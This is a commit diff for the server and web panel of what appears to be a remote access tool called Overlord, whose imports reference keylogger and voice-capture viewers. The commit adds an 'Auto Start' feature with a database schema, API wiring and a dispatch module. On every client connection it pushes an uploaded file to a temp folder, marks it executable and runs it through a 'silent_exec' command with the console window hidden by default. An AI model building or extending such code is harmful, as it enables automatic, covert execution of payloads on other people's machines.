auto execution implemented and fix issue when uninstalling clients and them being shown in the menu when they connect to purgatory
This commit is contained in:
@@ -626,5 +626,225 @@ clearOutputBtn.addEventListener("click", () => {
|
||||
'<div class="text-slate-500">No commands dispatched yet.</div>';
|
||||
});
|
||||
|
||||
const autoDeployNameInput = document.getElementById("auto-deploy-name");
|
||||
const autoDeployTriggerSelect = document.getElementById("auto-deploy-trigger");
|
||||
const autoDeployZone = document.getElementById("auto-deploy-zone");
|
||||
const autoDeployFileInput = document.getElementById("auto-deploy-file-input");
|
||||
const autoDeployFileStatus = document.getElementById("auto-deploy-file-status");
|
||||
const autoDeployArgsInput = document.getElementById("auto-deploy-args");
|
||||
const autoDeployHideWindow = document.getElementById("auto-deploy-hide-window");
|
||||
const autoDeploySaveBtn = document.getElementById("auto-deploy-save-btn");
|
||||
const autoDeployCancelBtn = document.getElementById("auto-deploy-cancel-btn");
|
||||
const autoDeployList = document.getElementById("auto-deploy-list");
|
||||
|
||||
let autoDeployFile = null;
|
||||
let autoDeployEditId = null;
|
||||
|
||||
if (autoDeployZone) {
|
||||
autoDeployZone.addEventListener("click", () => autoDeployFileInput.click());
|
||||
autoDeployZone.addEventListener("dragover", (e) => {
|
||||
e.preventDefault();
|
||||
autoDeployZone.classList.add("border-cyan-500");
|
||||
});
|
||||
autoDeployZone.addEventListener("dragleave", () => {
|
||||
autoDeployZone.classList.remove("border-cyan-500");
|
||||
});
|
||||
autoDeployZone.addEventListener("drop", (e) => {
|
||||
e.preventDefault();
|
||||
autoDeployZone.classList.remove("border-cyan-500");
|
||||
const f = e.dataTransfer?.files?.[0];
|
||||
if (f) {
|
||||
autoDeployFile = f;
|
||||
autoDeployFileStatus.textContent = `${f.name} (${formatBytes(f.size)})`;
|
||||
autoDeployFileStatus.className = "mt-1 text-xs text-emerald-400";
|
||||
}
|
||||
});
|
||||
autoDeployFileInput.addEventListener("change", (e) => {
|
||||
const f = e.target.files?.[0];
|
||||
if (f) {
|
||||
autoDeployFile = f;
|
||||
autoDeployFileStatus.textContent = `${f.name} (${formatBytes(f.size)})`;
|
||||
autoDeployFileStatus.className = "mt-1 text-xs text-emerald-400";
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function getAutoDeployOsFilter() {
|
||||
const checked = [];
|
||||
document.querySelectorAll('input[name="auto-deploy-os"]:checked').forEach((cb) => {
|
||||
checked.push(cb.value);
|
||||
});
|
||||
return checked;
|
||||
}
|
||||
|
||||
function clearAutoDeployOsFilter() {
|
||||
document.querySelectorAll('input[name="auto-deploy-os"]').forEach((cb) => {
|
||||
cb.checked = false;
|
||||
});
|
||||
}
|
||||
|
||||
function resetAutoDeployForm() {
|
||||
autoDeployNameInput.value = "";
|
||||
autoDeployTriggerSelect.value = "on_connect";
|
||||
autoDeployArgsInput.value = "";
|
||||
autoDeployHideWindow.checked = true;
|
||||
autoDeployFile = null;
|
||||
autoDeployFileInput.value = "";
|
||||
autoDeployFileStatus.textContent = "No file selected";
|
||||
autoDeployFileStatus.className = "mt-1 text-xs text-slate-400";
|
||||
clearAutoDeployOsFilter();
|
||||
autoDeployEditId = null;
|
||||
autoDeployCancelBtn.classList.add("hidden");
|
||||
autoDeploySaveBtn.innerHTML = '<i class="fa-solid fa-bolt"></i> Save Auto Start';
|
||||
}
|
||||
|
||||
async function loadAutoDeploys() {
|
||||
try {
|
||||
const res = await fetch("/api/auto-deploys");
|
||||
if (!res.ok) return;
|
||||
const data = await res.json();
|
||||
renderAutoDeployList(data.items || []);
|
||||
} catch (err) {
|
||||
console.error("Failed to load auto deploys:", err);
|
||||
}
|
||||
}
|
||||
|
||||
function triggerLabel(trigger) {
|
||||
switch (trigger) {
|
||||
case "on_connect": return "Every connect";
|
||||
case "on_connect_once": return "Once per client";
|
||||
case "on_first_connect": return "First connect only";
|
||||
default: return trigger;
|
||||
}
|
||||
}
|
||||
|
||||
function renderAutoDeployList(items) {
|
||||
if (items.length === 0) {
|
||||
autoDeployList.innerHTML = '<div class="text-slate-500 text-sm">No auto start rules configured.</div>';
|
||||
return;
|
||||
}
|
||||
|
||||
autoDeployList.innerHTML = items
|
||||
.map((item) => {
|
||||
const osText = item.osFilter && item.osFilter.length > 0
|
||||
? item.osFilter.join(", ")
|
||||
: "any";
|
||||
const statusColor = item.enabled ? "text-emerald-400" : "text-slate-500";
|
||||
const statusIcon = item.enabled ? "fa-circle-check" : "fa-circle-pause";
|
||||
return `
|
||||
<div class="flex items-center justify-between p-3 rounded-lg border border-slate-800 bg-slate-950/60" data-id="${escapeHtml(item.id)}">
|
||||
<div class="flex-1 min-w-0">
|
||||
<div class="flex items-center gap-2">
|
||||
<i class="fa-solid ${statusIcon} ${statusColor} text-sm"></i>
|
||||
<span class="font-semibold text-slate-100 text-sm truncate">${escapeHtml(item.name)}</span>
|
||||
</div>
|
||||
<div class="text-xs text-slate-400 mt-1 flex flex-wrap gap-x-3">
|
||||
<span><i class="fa-solid fa-file mr-1"></i>${escapeHtml(item.fileName)}</span>
|
||||
<span><i class="fa-solid fa-bolt mr-1"></i>${triggerLabel(item.trigger)}</span>
|
||||
<span><i class="fa-solid fa-desktop mr-1"></i>${escapeHtml(osText)}</span>
|
||||
${item.args ? `<span><i class="fa-solid fa-terminal mr-1"></i>${escapeHtml(item.args)}</span>` : ""}
|
||||
</div>
|
||||
</div>
|
||||
<div class="flex items-center gap-2 ml-3 shrink-0">
|
||||
<button class="auto-deploy-toggle px-2 py-1 rounded text-xs ${item.enabled ? 'bg-amber-700 hover:bg-amber-600' : 'bg-emerald-700 hover:bg-emerald-600'} text-white" data-id="${escapeHtml(item.id)}" data-enabled="${item.enabled}">
|
||||
${item.enabled ? '<i class="fa-solid fa-pause"></i>' : '<i class="fa-solid fa-play"></i>'}
|
||||
</button>
|
||||
<button class="auto-deploy-delete px-2 py-1 rounded text-xs bg-red-800 hover:bg-red-700 text-white" data-id="${escapeHtml(item.id)}">
|
||||
<i class="fa-solid fa-trash"></i>
|
||||
</button>
|
||||
</div>
|
||||
</div>`;
|
||||
})
|
||||
.join("");
|
||||
|
||||
autoDeployList.querySelectorAll(".auto-deploy-toggle").forEach((btn) => {
|
||||
btn.addEventListener("click", async () => {
|
||||
const id = btn.dataset.id;
|
||||
const currentlyEnabled = btn.dataset.enabled === "true";
|
||||
try {
|
||||
const res = await fetch(`/api/auto-deploys/${encodeURIComponent(id)}`, {
|
||||
method: "PUT",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ enabled: !currentlyEnabled }),
|
||||
});
|
||||
if (res.ok) loadAutoDeploys();
|
||||
} catch (err) {
|
||||
console.error("Toggle failed:", err);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
autoDeployList.querySelectorAll(".auto-deploy-delete").forEach((btn) => {
|
||||
btn.addEventListener("click", async () => {
|
||||
const id = btn.dataset.id;
|
||||
if (!confirm("Delete this auto start rule?")) return;
|
||||
try {
|
||||
const res = await fetch(`/api/auto-deploys/${encodeURIComponent(id)}`, {
|
||||
method: "DELETE",
|
||||
});
|
||||
if (res.ok) loadAutoDeploys();
|
||||
} catch (err) {
|
||||
console.error("Delete failed:", err);
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
if (autoDeploySaveBtn) {
|
||||
autoDeploySaveBtn.addEventListener("click", async () => {
|
||||
const name = autoDeployNameInput.value.trim();
|
||||
if (!name) {
|
||||
alert("Please enter a task name.");
|
||||
return;
|
||||
}
|
||||
if (!autoDeployFile) {
|
||||
alert("Please select a file to deploy.");
|
||||
return;
|
||||
}
|
||||
|
||||
const trigger = autoDeployTriggerSelect.value;
|
||||
const args = autoDeployArgsInput.value;
|
||||
const hideWindow = autoDeployHideWindow.checked;
|
||||
const osFilter = getAutoDeployOsFilter();
|
||||
|
||||
autoDeploySaveBtn.disabled = true;
|
||||
|
||||
try {
|
||||
const form = new FormData();
|
||||
form.append("file", autoDeployFile, autoDeployFile.name);
|
||||
form.append("name", name);
|
||||
form.append("trigger", trigger);
|
||||
form.append("args", args);
|
||||
form.append("hideWindow", String(hideWindow));
|
||||
form.append("enabled", "true");
|
||||
form.append("osFilter", JSON.stringify(osFilter));
|
||||
|
||||
const res = await fetch("/api/auto-deploys", {
|
||||
method: "POST",
|
||||
body: form,
|
||||
});
|
||||
|
||||
if (!res.ok) {
|
||||
const data = await res.json().catch(() => ({}));
|
||||
alert(data.error || "Failed to save auto start rule");
|
||||
return;
|
||||
}
|
||||
|
||||
resetAutoDeployForm();
|
||||
loadAutoDeploys();
|
||||
} catch (err) {
|
||||
console.error("Save auto deploy failed:", err);
|
||||
alert("Failed to save auto start rule.");
|
||||
} finally {
|
||||
autoDeploySaveBtn.disabled = false;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
if (autoDeployCancelBtn) {
|
||||
autoDeployCancelBtn.addEventListener("click", resetAutoDeployForm);
|
||||
}
|
||||
|
||||
checkAuth();
|
||||
loadClients();
|
||||
loadAutoDeploys();
|
||||
|
||||
@@ -218,6 +218,127 @@
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Auto Start -->
|
||||
<div class="lg:col-span-3">
|
||||
<div class="bg-slate-900/70 rounded-xl border border-slate-800 p-6">
|
||||
<div class="flex items-center justify-between mb-4">
|
||||
<div>
|
||||
<h2 class="text-xl font-semibold">Auto Start</h2>
|
||||
<p class="text-sm text-slate-400">
|
||||
Automatically deploy and run a file on clients when they connect
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="space-y-4">
|
||||
<div class="grid grid-cols-1 md:grid-cols-2 gap-4">
|
||||
<div>
|
||||
<label class="block text-sm font-medium text-slate-300 mb-1">Task Name</label>
|
||||
<input
|
||||
id="auto-deploy-name"
|
||||
type="text"
|
||||
placeholder="e.g. Deploy monitoring agent"
|
||||
class="w-full px-4 py-2 rounded-lg border border-slate-700 bg-slate-950 text-slate-100 placeholder-slate-500 focus:outline-none focus:ring-2 focus:ring-cyan-500"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label class="block text-sm font-medium text-slate-300 mb-1">Trigger</label>
|
||||
<select
|
||||
id="auto-deploy-trigger"
|
||||
class="w-full px-4 py-2 rounded-lg border border-slate-700 bg-slate-800 text-slate-100"
|
||||
>
|
||||
<option value="on_connect">On connect (every session)</option>
|
||||
<option value="on_connect_once">On connect (only once per client)</option>
|
||||
<option value="on_first_connect">On first connect (new clients only)</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<label class="block text-sm font-medium text-slate-300 mb-1">File to Deploy</label>
|
||||
<div
|
||||
id="auto-deploy-zone"
|
||||
class="border-2 border-dashed border-slate-700 rounded-xl p-4 bg-slate-950/60 hover:border-cyan-500 transition-colors cursor-pointer"
|
||||
>
|
||||
<div class="flex items-center gap-4">
|
||||
<div class="w-10 h-10 rounded-full bg-cyan-900/40 flex items-center justify-center text-cyan-300">
|
||||
<i class="fa-solid fa-cloud-arrow-up text-sm"></i>
|
||||
</div>
|
||||
<div>
|
||||
<div class="font-semibold text-slate-100 text-sm">Drag & drop a file</div>
|
||||
<div class="text-xs text-slate-400">or click to select</div>
|
||||
</div>
|
||||
</div>
|
||||
<input id="auto-deploy-file-input" type="file" class="hidden" />
|
||||
</div>
|
||||
<div class="mt-1 text-xs text-slate-400" id="auto-deploy-file-status">No file selected</div>
|
||||
</div>
|
||||
|
||||
<div class="grid grid-cols-1 md:grid-cols-2 gap-4">
|
||||
<div>
|
||||
<label class="block text-sm font-medium text-slate-300 mb-1">Arguments (optional)</label>
|
||||
<input
|
||||
id="auto-deploy-args"
|
||||
type="text"
|
||||
placeholder="e.g. /quiet /norestart"
|
||||
class="w-full px-4 py-2 rounded-lg border border-slate-700 bg-slate-950 text-slate-100 placeholder-slate-500 focus:outline-none focus:ring-2 focus:ring-cyan-500"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label class="block text-sm font-medium text-slate-300 mb-1">OS Filter <span class="text-slate-500">(unchecked = any)</span></label>
|
||||
<div class="flex flex-wrap gap-x-4 gap-y-1.5 mt-1">
|
||||
<label class="flex items-center gap-1.5 text-sm text-slate-300 cursor-pointer">
|
||||
<input type="checkbox" name="auto-deploy-os" value="windows" class="w-4 h-4 rounded accent-cyan-500"> Windows
|
||||
</label>
|
||||
<label class="flex items-center gap-1.5 text-sm text-slate-300 cursor-pointer">
|
||||
<input type="checkbox" name="auto-deploy-os" value="linux" class="w-4 h-4 rounded accent-cyan-500"> Linux
|
||||
</label>
|
||||
<label class="flex items-center gap-1.5 text-sm text-slate-300 cursor-pointer">
|
||||
<input type="checkbox" name="auto-deploy-os" value="darwin" class="w-4 h-4 rounded accent-cyan-500"> macOS
|
||||
</label>
|
||||
<label class="flex items-center gap-1.5 text-sm text-slate-300 cursor-pointer">
|
||||
<input type="checkbox" name="auto-deploy-os" value="android" class="w-4 h-4 rounded accent-cyan-500"> Android
|
||||
</label>
|
||||
<label class="flex items-center gap-1.5 text-sm text-slate-300 cursor-pointer">
|
||||
<input type="checkbox" name="auto-deploy-os" value="freebsd" class="w-4 h-4 rounded accent-cyan-500"> FreeBSD
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<label class="flex items-center gap-3 rounded-lg border border-slate-800 bg-slate-950/60 px-4 py-3 text-sm text-slate-300">
|
||||
<input id="auto-deploy-hide-window" type="checkbox" class="w-4 h-4 rounded border-slate-600 bg-slate-700" checked />
|
||||
<div class="flex flex-col">
|
||||
<span class="font-semibold">Hide window (Windows)</span>
|
||||
<span class="text-xs text-slate-500">Runs without showing a console window.</span>
|
||||
</div>
|
||||
</label>
|
||||
|
||||
<div class="flex items-center gap-2">
|
||||
<button
|
||||
id="auto-deploy-save-btn"
|
||||
class="px-5 py-2 rounded-lg bg-cyan-600 hover:bg-cyan-700 text-white font-semibold flex items-center gap-2"
|
||||
>
|
||||
<i class="fa-solid fa-bolt"></i> Save Auto Start
|
||||
</button>
|
||||
<button
|
||||
id="auto-deploy-cancel-btn"
|
||||
class="px-5 py-2 rounded-lg bg-slate-700 hover:bg-slate-600 text-white font-semibold hidden"
|
||||
>
|
||||
Cancel
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="mt-6">
|
||||
<div class="text-sm text-slate-400 mb-2">Active Auto Start Rules</div>
|
||||
<div id="auto-deploy-list" class="space-y-2 max-h-96 overflow-auto">
|
||||
<div class="text-slate-500 text-sm">Loading...</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
|
||||
|
||||
@@ -190,6 +190,39 @@ db.run(
|
||||
`CREATE INDEX IF NOT EXISTS idx_auto_script_runs_ts ON auto_script_runs(ts DESC);`,
|
||||
);
|
||||
|
||||
db.run(`
|
||||
CREATE TABLE IF NOT EXISTS auto_deploys (
|
||||
id TEXT PRIMARY KEY,
|
||||
name TEXT NOT NULL,
|
||||
trigger TEXT NOT NULL,
|
||||
file_path TEXT NOT NULL,
|
||||
file_name TEXT NOT NULL,
|
||||
file_size INTEGER NOT NULL,
|
||||
file_os TEXT NOT NULL,
|
||||
args TEXT NOT NULL DEFAULT '',
|
||||
hide_window INTEGER NOT NULL DEFAULT 1,
|
||||
enabled INTEGER NOT NULL,
|
||||
os_filter TEXT NOT NULL DEFAULT '[]',
|
||||
created_at INTEGER NOT NULL,
|
||||
updated_at INTEGER NOT NULL
|
||||
);
|
||||
`);
|
||||
db.run(
|
||||
`CREATE INDEX IF NOT EXISTS idx_auto_deploys_trigger ON auto_deploys(trigger, enabled);`,
|
||||
);
|
||||
|
||||
db.run(`
|
||||
CREATE TABLE IF NOT EXISTS auto_deploy_runs (
|
||||
deploy_id TEXT NOT NULL,
|
||||
client_id TEXT NOT NULL,
|
||||
ts INTEGER NOT NULL,
|
||||
PRIMARY KEY (deploy_id, client_id)
|
||||
);
|
||||
`);
|
||||
db.run(
|
||||
`CREATE INDEX IF NOT EXISTS idx_auto_deploy_runs_ts ON auto_deploy_runs(ts DESC);`,
|
||||
);
|
||||
|
||||
export function upsertClientRow(
|
||||
partial: Partial<ClientInfo> & {
|
||||
id: string;
|
||||
@@ -218,6 +251,7 @@ export function upsertClientRow(
|
||||
last_seen=excluded.last_seen,
|
||||
online=COALESCE(excluded.online, clients.online),
|
||||
ping_ms=COALESCE(excluded.ping_ms, clients.ping_ms),
|
||||
enrollment_status=CASE WHEN excluded.enrollment_status <> 'pending' THEN excluded.enrollment_status ELSE clients.enrollment_status END,
|
||||
public_key=COALESCE(excluded.public_key, clients.public_key),
|
||||
key_fingerprint=COALESCE(excluded.key_fingerprint, clients.key_fingerprint)
|
||||
`,
|
||||
@@ -1052,3 +1086,159 @@ export function getPendingClients(): {
|
||||
lastSeen: Number(r.lastSeen) || 0,
|
||||
}));
|
||||
}
|
||||
|
||||
export type AutoDeployTrigger = "on_connect" | "on_first_connect" | "on_connect_once";
|
||||
|
||||
export type AutoDeploy = {
|
||||
id: string;
|
||||
name: string;
|
||||
trigger: AutoDeployTrigger;
|
||||
filePath: string;
|
||||
fileName: string;
|
||||
fileSize: number;
|
||||
fileOs: string;
|
||||
args: string;
|
||||
hideWindow: boolean;
|
||||
enabled: boolean;
|
||||
osFilter: string[];
|
||||
createdAt: number;
|
||||
updatedAt: number;
|
||||
};
|
||||
|
||||
function mapAutoDeployRow(row: any): AutoDeploy {
|
||||
let osFilter: string[] = [];
|
||||
try {
|
||||
const parsed = JSON.parse(row.os_filter || "[]");
|
||||
osFilter = Array.isArray(parsed) ? parsed : [];
|
||||
} catch { }
|
||||
return {
|
||||
id: row.id,
|
||||
name: row.name,
|
||||
trigger: row.trigger as AutoDeployTrigger,
|
||||
filePath: row.file_path,
|
||||
fileName: row.file_name,
|
||||
fileSize: Number(row.file_size) || 0,
|
||||
fileOs: row.file_os || "unknown",
|
||||
args: row.args || "",
|
||||
hideWindow: row.hide_window === 1,
|
||||
enabled: row.enabled === 1,
|
||||
osFilter,
|
||||
createdAt: Number(row.created_at) || 0,
|
||||
updatedAt: Number(row.updated_at) || 0,
|
||||
};
|
||||
}
|
||||
|
||||
export function listAutoDeploys(): AutoDeploy[] {
|
||||
const rows = db.query<any>(`SELECT * FROM auto_deploys ORDER BY created_at DESC`).all();
|
||||
return rows.map(mapAutoDeployRow);
|
||||
}
|
||||
|
||||
export function getAutoDeploysByTrigger(trigger: AutoDeployTrigger): AutoDeploy[] {
|
||||
const rows = db
|
||||
.query<any>(
|
||||
`SELECT * FROM auto_deploys WHERE trigger=? AND enabled=1 ORDER BY created_at ASC`,
|
||||
)
|
||||
.all(trigger);
|
||||
return rows.map(mapAutoDeployRow);
|
||||
}
|
||||
|
||||
export function getAutoDeploy(id: string): AutoDeploy | null {
|
||||
const row = db.query<any>(`SELECT * FROM auto_deploys WHERE id=?`).get(id);
|
||||
return row ? mapAutoDeployRow(row) : null;
|
||||
}
|
||||
|
||||
export function createAutoDeploy(input: {
|
||||
id: string;
|
||||
name: string;
|
||||
trigger: AutoDeployTrigger;
|
||||
filePath: string;
|
||||
fileName: string;
|
||||
fileSize: number;
|
||||
fileOs: string;
|
||||
args: string;
|
||||
hideWindow: boolean;
|
||||
enabled: boolean;
|
||||
osFilter: string[];
|
||||
}): AutoDeploy {
|
||||
const now = Date.now();
|
||||
db.run(
|
||||
`INSERT INTO auto_deploys (id, name, trigger, file_path, file_name, file_size, file_os, args, hide_window, enabled, os_filter, created_at, updated_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||
input.id,
|
||||
input.name,
|
||||
input.trigger,
|
||||
input.filePath,
|
||||
input.fileName,
|
||||
input.fileSize,
|
||||
input.fileOs,
|
||||
input.args,
|
||||
input.hideWindow ? 1 : 0,
|
||||
input.enabled ? 1 : 0,
|
||||
JSON.stringify(input.osFilter ?? []),
|
||||
now,
|
||||
now,
|
||||
);
|
||||
return getAutoDeploy(input.id)!;
|
||||
}
|
||||
|
||||
export function updateAutoDeploy(
|
||||
id: string,
|
||||
input: Partial<{
|
||||
name: string;
|
||||
trigger: AutoDeployTrigger;
|
||||
args: string;
|
||||
hideWindow: boolean;
|
||||
enabled: boolean;
|
||||
osFilter: string[];
|
||||
}>,
|
||||
): AutoDeploy | null {
|
||||
const current = getAutoDeploy(id);
|
||||
if (!current) return null;
|
||||
|
||||
const next = {
|
||||
name: input.name ?? current.name,
|
||||
trigger: (input.trigger ?? current.trigger) as AutoDeployTrigger,
|
||||
args: input.args ?? current.args,
|
||||
hideWindow: typeof input.hideWindow === "boolean" ? input.hideWindow : current.hideWindow,
|
||||
enabled: typeof input.enabled === "boolean" ? input.enabled : current.enabled,
|
||||
osFilter: Array.isArray(input.osFilter) ? input.osFilter : current.osFilter,
|
||||
};
|
||||
|
||||
db.run(
|
||||
`UPDATE auto_deploys SET name=?, trigger=?, args=?, hide_window=?, enabled=?, os_filter=?, updated_at=? WHERE id=?`,
|
||||
next.name,
|
||||
next.trigger,
|
||||
next.args,
|
||||
next.hideWindow ? 1 : 0,
|
||||
next.enabled ? 1 : 0,
|
||||
JSON.stringify(next.osFilter),
|
||||
Date.now(),
|
||||
id,
|
||||
);
|
||||
|
||||
return getAutoDeploy(id);
|
||||
}
|
||||
|
||||
export function deleteAutoDeploy(id: string): boolean {
|
||||
const result = db.run(`DELETE FROM auto_deploys WHERE id=?`, id);
|
||||
db.run(`DELETE FROM auto_deploy_runs WHERE deploy_id=?`, id);
|
||||
return (result as any)?.changes ? (result as any).changes > 0 : true;
|
||||
}
|
||||
|
||||
export function hasAutoDeployRun(deployId: string, clientId: string): boolean {
|
||||
const row = db
|
||||
.query<any>(
|
||||
`SELECT deploy_id FROM auto_deploy_runs WHERE deploy_id=? AND client_id=?`,
|
||||
)
|
||||
.get(deployId, clientId);
|
||||
return !!row?.deploy_id;
|
||||
}
|
||||
|
||||
export function recordAutoDeployRun(deployId: string, clientId: string) {
|
||||
db.run(
|
||||
`INSERT OR REPLACE INTO auto_deploy_runs (deploy_id, client_id, ts) VALUES (?, ?, ?)`,
|
||||
deployId,
|
||||
clientId,
|
||||
Date.now(),
|
||||
);
|
||||
}
|
||||
|
||||
@@ -38,6 +38,8 @@ import { CORS_HEADERS } from "./server/http-security";
|
||||
import { mimeType, secureHeaders, securePluginHeaders } from "./server/http-utils";
|
||||
import { sanitizePluginId } from "./server/plugin-utils";
|
||||
import { dispatchAutoScriptsForConnection } from "./server/auto-script-dispatch";
|
||||
import { dispatchAutoDeploysForConnection } from "./server/auto-deploy-dispatch";
|
||||
import { handleAutoDeployRoutes } from "./server/routes/auto-deploy-routes";
|
||||
import { consumeHttpDownloadPayload, type PendingHttpDownload } from "./server/http-download-consumer";
|
||||
import { startBuildProcess as runBuildProcess } from "./server/build-process";
|
||||
import { createHttpFetchHandler } from "./server/http-dispatch";
|
||||
@@ -354,6 +356,10 @@ async function startServer() {
|
||||
detectUploadOs,
|
||||
normalizeClientOs,
|
||||
},
|
||||
autoDeploy: {
|
||||
DEPLOY_ROOT,
|
||||
detectUploadOs,
|
||||
},
|
||||
winre: {
|
||||
WINRE_ROOT,
|
||||
winreUploads,
|
||||
@@ -476,6 +482,11 @@ async function startServer() {
|
||||
handleKeyloggerViewerMessage,
|
||||
handleVoiceViewerMessage,
|
||||
dispatchAutoScriptsForConnection,
|
||||
dispatchAutoDeploysForConnection: (info: import("./types").ClientInfo, ws: import("bun").ServerWebSocket<SocketData>) => {
|
||||
const proto = tls ? "https" : "http";
|
||||
const origin = `${proto}://127.0.0.1:${PORT}`;
|
||||
dispatchAutoDeploysForConnection(info, ws, origin);
|
||||
},
|
||||
dispatchAutoLoadPlugins: (info: import("./types").ClientInfo) => {
|
||||
dispatchAutoLoadPlugins(
|
||||
info,
|
||||
@@ -538,6 +549,7 @@ async function startServer() {
|
||||
handleAuthRoutes,
|
||||
handleNotificationsConfigRoutes,
|
||||
handleAutoScriptsRoutes,
|
||||
handleAutoDeployRoutes,
|
||||
handleEnrollmentRoutes,
|
||||
handleUsersRoutes,
|
||||
handleBuildRoutes,
|
||||
|
||||
@@ -0,0 +1,134 @@
|
||||
import type { ServerWebSocket } from "bun";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import { hasAutoDeployRun, getAutoDeploysByTrigger, recordAutoDeployRun } from "../db";
|
||||
import { logger } from "../logger";
|
||||
import { metrics } from "../metrics";
|
||||
import { encodeMessage } from "../protocol";
|
||||
import type { SocketData } from "../sessions/types";
|
||||
import type { ClientInfo } from "../types";
|
||||
import { logAudit, AuditAction } from "../auditLog";
|
||||
import { normalizeClientOs } from "./deploy-utils";
|
||||
import { createUploadPull } from "./routes/file-download-routes";
|
||||
|
||||
export function dispatchAutoDeploysForConnection(
|
||||
info: ClientInfo,
|
||||
ws: ServerWebSocket<SocketData>,
|
||||
serverOrigin: string,
|
||||
): void {
|
||||
if (info.role !== "client") return;
|
||||
if (ws.data?.autoDeploysRan) return;
|
||||
|
||||
const isNewClient = ws.data?.wasKnown === false;
|
||||
const onConnect = getAutoDeploysByTrigger("on_connect");
|
||||
const onFirst = isNewClient ? getAutoDeploysByTrigger("on_first_connect") : [];
|
||||
const onConnectOnce = getAutoDeploysByTrigger("on_connect_once");
|
||||
const deploys = [...onConnect, ...onFirst, ...onConnectOnce];
|
||||
|
||||
if (deploys.length === 0) {
|
||||
ws.data.autoDeploysRan = true;
|
||||
return;
|
||||
}
|
||||
|
||||
const clientOs = normalizeClientOs(info.os);
|
||||
|
||||
for (const deploy of deploys) {
|
||||
if (deploy.osFilter.length > 0) {
|
||||
const rawOs = (info.os || "").toLowerCase();
|
||||
if (!deploy.osFilter.includes(rawOs)) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
if (deploy.trigger === "on_connect_once") {
|
||||
if (hasAutoDeployRun(deploy.id, info.id)) {
|
||||
continue;
|
||||
}
|
||||
recordAutoDeployRun(deploy.id, info.id);
|
||||
}
|
||||
|
||||
// Verify the file still exists
|
||||
try {
|
||||
const stat = Bun.file(deploy.filePath);
|
||||
if (stat.size === 0) {
|
||||
logger.warn(`[auto-deploy] file missing for ${deploy.id}: ${deploy.filePath}`);
|
||||
continue;
|
||||
}
|
||||
} catch {
|
||||
logger.warn(`[auto-deploy] file inaccessible for ${deploy.id}: ${deploy.filePath}`);
|
||||
continue;
|
||||
}
|
||||
|
||||
const destDir = clientOs === "windows"
|
||||
? `C:\\Windows\\Temp\\Overlord\\auto-${deploy.id}`
|
||||
: `/tmp/overlord/auto-${deploy.id}`;
|
||||
const destPath = clientOs === "windows"
|
||||
? `${destDir}\\${deploy.fileName}`
|
||||
: `${destDir}/${deploy.fileName}`;
|
||||
|
||||
const pullId = createUploadPull({
|
||||
clientId: info.id,
|
||||
filePath: deploy.filePath,
|
||||
fileName: deploy.fileName,
|
||||
size: deploy.fileSize,
|
||||
ttlMs: 120_000,
|
||||
});
|
||||
const pullUrl = `${serverOrigin}/api/file/upload/pull/${encodeURIComponent(pullId)}`;
|
||||
|
||||
try {
|
||||
info.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "file_upload_http" as any,
|
||||
id: uuidv4(),
|
||||
payload: { path: destPath, url: pullUrl, total: deploy.fileSize },
|
||||
}),
|
||||
);
|
||||
|
||||
if (clientOs !== "windows") {
|
||||
info.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "file_chmod" as any,
|
||||
id: uuidv4(),
|
||||
payload: { path: destPath, mode: "0755" },
|
||||
}),
|
||||
);
|
||||
}
|
||||
|
||||
info.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "silent_exec" as any,
|
||||
id: uuidv4(),
|
||||
payload: { command: destPath, args: deploy.args, hideWindow: deploy.hideWindow },
|
||||
}),
|
||||
);
|
||||
|
||||
metrics.recordCommand("silent_exec");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: "system",
|
||||
ip: "server",
|
||||
action: AuditAction.SILENT_EXECUTE,
|
||||
targetClientId: info.id,
|
||||
success: true,
|
||||
details: `auto-deploy:${deploy.name} trigger=${deploy.trigger} file=${deploy.fileName}`,
|
||||
});
|
||||
logger.info(`[auto-deploy] dispatched ${deploy.id} (${deploy.trigger}) to ${info.id}`);
|
||||
} catch (err) {
|
||||
logger.warn(`[auto-deploy] failed to dispatch ${deploy.id} to ${info.id}`, err);
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: "system",
|
||||
ip: "server",
|
||||
action: AuditAction.SILENT_EXECUTE,
|
||||
targetClientId: info.id,
|
||||
success: false,
|
||||
details: `auto-deploy:${deploy.name} trigger=${deploy.trigger} file=${deploy.fileName}`,
|
||||
errorMessage: (err as Error)?.message || "send failed",
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
ws.data.autoDeploysRan = true;
|
||||
}
|
||||
@@ -23,6 +23,7 @@ type HttpDispatchDeps<
|
||||
TNotificationsConfig,
|
||||
TBuild,
|
||||
TDeploy,
|
||||
TAutoDeploy,
|
||||
TWinRE,
|
||||
TFileDownload,
|
||||
TPlugin,
|
||||
@@ -37,6 +38,7 @@ type HttpDispatchDeps<
|
||||
handleAuthRoutes: RouteHandlerWithServer<TServer>;
|
||||
handleNotificationsConfigRoutes: RouteHandlerWithServerDeps<TServer, TNotificationsConfig>;
|
||||
handleAutoScriptsRoutes: RouteHandler;
|
||||
handleAutoDeployRoutes: RouteHandlerWithDeps<TAutoDeploy>;
|
||||
handleEnrollmentRoutes: RouteHandler;
|
||||
handleUsersRoutes: RouteHandlerWithServer<TServer>;
|
||||
